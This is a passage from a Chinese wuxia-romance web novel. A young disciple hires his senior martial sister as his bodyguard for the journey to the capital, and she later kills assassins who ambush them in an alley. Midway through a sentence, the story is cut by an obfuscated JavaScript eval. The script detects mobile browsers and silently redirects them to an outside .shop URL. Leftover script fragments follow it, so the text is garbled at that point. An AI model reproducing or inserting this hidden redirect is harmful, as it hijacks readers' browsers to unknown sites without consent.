崔砚礼神色如常,心下却暗暗警觉。小师姐为何哭泣?大师兄祝远山下月便要下山历练,莫非为此事?
抑或是为了三师兄?
今日瑞王府送来信笺,为三师兄定下一门亲事,小师姐当时亦在侧。虽说三师兄当场厉声拒斥,并嚷着要即刻回信……
但小师姐今日偏偏哭泣,不免令崔砚礼起疑。
小姑娘倚在他肩上,哭得一抽一抽的,待哭得乏了,方哽咽着说:“年关将至,我听见旁人议论归家之事……我也想回家。娘许久不曾来看我了,我想母亲。”
原来如此!崔砚礼轻轻抚了抚她的发,温声道:“莫哭了,我家亦在京城,我陪小师姐一同归家。”
宋瑶伸手接过他帕子拭擦眼泪、鼻涕,抬起红彤彤的眸子望他,闪烁着迟疑。
“可是,我毫无征兆回去,母亲会开心吗?”
崔砚礼拍拍她的肩膀,鼓励道:“你娘见你归来,定是欢喜极了,正好给她一个惊喜,还能一同守岁过年。”
“京城的年关,最是热闹不过——街巷挂满彩绸灯笼,自腊月二十三至除夕,庙会上有捏面人、吹糖人、耍把戏的、卖糖葫芦的,到了夜里,烟花一朵接一朵蹿上天,舞龙舞狮穿街而过,锣鼓喧天,家家户户贴红对联、炸年糕、包饺子,守岁时爆竹声此起彼伏。”
宋瑶眼中倏然一亮,弯了弯眉眼,似已望见那番景象,正欲点头,忽又想起什么,便默然不语了。
崔砚礼是何等剔透玲珑的人。
他缓缓开口道:“师弟自知武功低微,不及小师姐一半,此去京城路途遥远,江湖险恶,心中实在难安。因此,我想正式聘请小师姐做我的贴身镖师,护我一路周全,沿途所有花销皆由师弟承担,待平安抵达京城,另奉黄金百两,以作酬谢。”
见宋瑶神色微动,他又连忙补了一句,“当然,此事只有你知我知,绝不会有第三人知道,师姐不必担心旁人议论。”
小姑娘低头掰着手指,在心里默默换算着百两黄金究竟是个什么天文数字。半晌,才抬起头,眼神里透着几分忐忑:“太多了,小师弟……钱太多了。”
崔砚礼神色郑重,语气笃定:“师姐放心,师弟的命,远比此等身外之物金贵得多。”
他心底暗暗觉得给少了。
转念一想,若是再加码,恐怕会惹来旁人起疑,进而窥探出他对小师姐那点不可言说的小心思。
宋瑶应了下来:“好。”
“一百两黄金师姐收下,从今往后,保你一世周全。只要师姐还有一口气在,你遭逢大难,必跨越山海前来相救!”
崔砚礼年方十二,生得一副极好的皮囊,皮肤白皙,鼻梁挺直,一双眸子沉静如深潭,透着远超年龄的稳重。
晚风拂过,两人小指相扣约定。
少年原本白皙的耳尖,以肉眼可见的速度染上一层薄红。
大偃安和十年,十二月初一。
虞千雁、李长宣、林汐三人结伴先行,一路向北直赴京城。
霍年家在江南,背道而驰。
十二月初五。
天色微明,晨光熹微,天地间笼罩一层灰蒙蒙的薄雾。宋瑶在案头匆匆留下一封书信,随即领着小师弟悄然下山。山脚下,早已备好的马车静静等候。两人登车坐定,随着车夫一声轻喝,马车碾过沾满小雪的青石板路,径直朝着京城方向疾驰而去。
车厢极宽敞,丝毫不见逼仄,两侧铺了浅紫锦缎的软榻,车厢四角暗藏铜制小炉,炭火恒温,将车内烘得暖意融融。
崔砚礼特意将启程之日定在今日,实则藏了几分私心。
前些日子,他总觉着三师兄投向小师姐的目光太过灼热,透着股让他不喜的黏腻,为绝后患,他索性装病几日,将小师姐牢牢绊在身边,又将回京一事瞒得密不透风。
毕竟,依着那几位的性子,知晓小师姐也要北上,定会死皮赖脸地凑上来同行。
宋瑶依着小师弟安排,一边随手把玩怀里触感滑腻的云锦迎枕,一边瞪大眼睛四处打量,嘴里忍不住啧啧称奇——这哪里是赶路,分明是把半座宅子的富贵都搬到了车轮上!
“师弟,马车是租的还是买的?得花不少钱吧?”
“是自家的。”崔砚礼在她对面盘膝而坐,心情愉悦。
此去京城路途遥遥,少说也得走上二十天,意味着接下来二十个日夜,方寸车厢便是独属于他们二人的小天地,小师姐只能完完全全属于他一个人,再无任何闲杂人等来打扰。
他贴心道:“小师姐,今日就要启程回京,你昨夜想必没休息好,眼下都泛起了淡淡的青影。离落古城还有好长一段路,马车平稳,你且先眯一会儿,养养精神。”
听着窗外寒风撕扯枯枝的呜咽声,车厢内如春日般温暖。
宋瑶昨夜未眠,觉得眼皮渐渐沉重,她向来是个懂得爱惜自己的人,在安稳舒适的销金窟里,连外面风声都成了催眠曲,索性放松了身子,顺着晃晃悠悠的马车里,睡上一觉。
风声不知何时远了,隐约的人声与丝竹管弦的余韵入耳。
落古城到了?去京城要途经此地。
“嗯,明月客栈到了。”
少年的声音压得很低,却异常清晰。
车外寒风凛冽,锦帐微动间,几缕凉意悄然潜入,小姑娘揉着惺忪的睡眼缓缓坐起,鸦青长发顺着肩头滑落,更衬得那张水光潋滟的小脸莹白剔透,透着几分刚醒时的娇软与懵懂。
宋瑶掀开锦帐一角,瞥了一眼窗外暗沉天色,声音里还带着几分没睡醒的黏糊:“什么时辰了?”
“酉时了。”崔砚礼应声起身,稳稳踏下车辕,他抬手掀起锦帐,将外头凛冽寒风挡在身侧,垂眸看向榻上的人,温声提议:“地上结了薄冰,湿滑难行,外头风又紧,不如由师弟抱你进去?”语气轻柔,透着不容拒绝的妥帖。
说罢,自然地朝她伸出了手臂。
宋瑶对他向来不设防,顺势倾身入怀,隔着厚重的冬衣,属于小师姐的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17720312|208609||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
温软气息扑面而来。她微微低头,将下巴抵在他肩窝处,声音轻得像是一阵呢喃:“师弟当心些!莫要摔了我。”极轻的嘱咐落在耳畔,叫崔砚礼下颌线绷得更紧,却将她护得愈发稳妥。
白昼贪眠,入夜反倒神清气爽。
适逢落古城举办庙会,夜市喧腾。
师姐弟二人索性出了客栈,一前一后步入那流光溢彩的长街,去寻些热闹。
欢声笑语背后,黑暗里悄然亮起几双淬毒般的眼睛,目光阴鸷,像极了潜伏在荒原上的饿狼,屏息凝神地盯着前方那对毫无防备的师姐弟,只等一个致命的时机便猛扑而上。
庙会喧嚣在长街尽头渐渐散去,两人转入一条僻静的青石小巷。
“师姐,路似乎绕远了。”崔砚礼脚步一顿,清冷的嗓音在寂静的巷弄里显得格外清晰。
宋瑶低头拨弄着手里刚买的兔子灯,闻言茫然地抬起头:“有吗?方才不是……”
话音未落,异变陡生!
伴随瓦片碎裂的脆响,三道身影自屋顶如鬼魅般掠下,手持凛冽长刀,满眼杀气。
身后巷口,同样悄无声息地闪出两名持刀的蒙面人。
空气中弥漫开浓烈杀意。
宋瑶面沉如水,眼底凝起一片霜寒,她指尖微动,毫不留恋地扯断手中精致的兔子灯,任由那团纸糊的烛火坠入泥泞。
下一秒,她反手握住竹竿,手腕翻转间,竟将其当作一柄无锋重剑。她一把将高她一头的小师弟拽至身后,语气不容置喙:“别怕,有师姐护着你,你只管退到一旁,莫要插手。”话音未落,她衣袂翻飞,身形已如离弦之箭般掠出,竹竿挟着凌厉的劲风,直取当头劈下的黑衣人面门。
狭窄的青石巷内瞬间刀光剑影。
杀机四伏,招招皆是封喉的致命之局。
竹竿破空,带起一阵令人牙酸的劲风。“噗嗤”一声闷响,宋瑶手腕猛然发力,粗硬的竹端精准无误地刺入一人颈侧要害。凄厉的惨叫声戛然而止,黑衣人双目圆睁,庞大的身躯像被抽干力气般颓然软倒,化作一具冰冷尸体。
剩下的四人被这雷霆手段震得微微错愕。
原本严密的包围圈竟出现了一瞬凝滞,一刹那的迟疑,成了他们的催命符,宋瑶眸光骤冷,杀机凛冽,她手腕翻转,以退为进,手中的竹竿宛如一条出洞的毒蛇,再度发难。
伴随着两声短促凄厉的惨叫,竹端毫不留情没入两名杀手的颈侧要害。
招式行云流水,不带一丝多余的拖泥带水,只留下满地狼藉。
见势不妙,残存的两名杀手已是肝胆俱裂,他们哪里还敢恋战?当即提气纵身,施展轻功掠向高墙,转瞬消失在茫茫夜色深处,只留下一阵急促的风声。
长巷重归死寂。
宋瑶初次染血杀人,她提着一杆鲜血淋漓的竹竿,脊背挺得笔直,握着竹节的手却隐隐泛白,斑驳的血迹不知何时溅上了面颊,她没有去擦,只是微微垂下眼睫,眼底透着几分茫然与无措。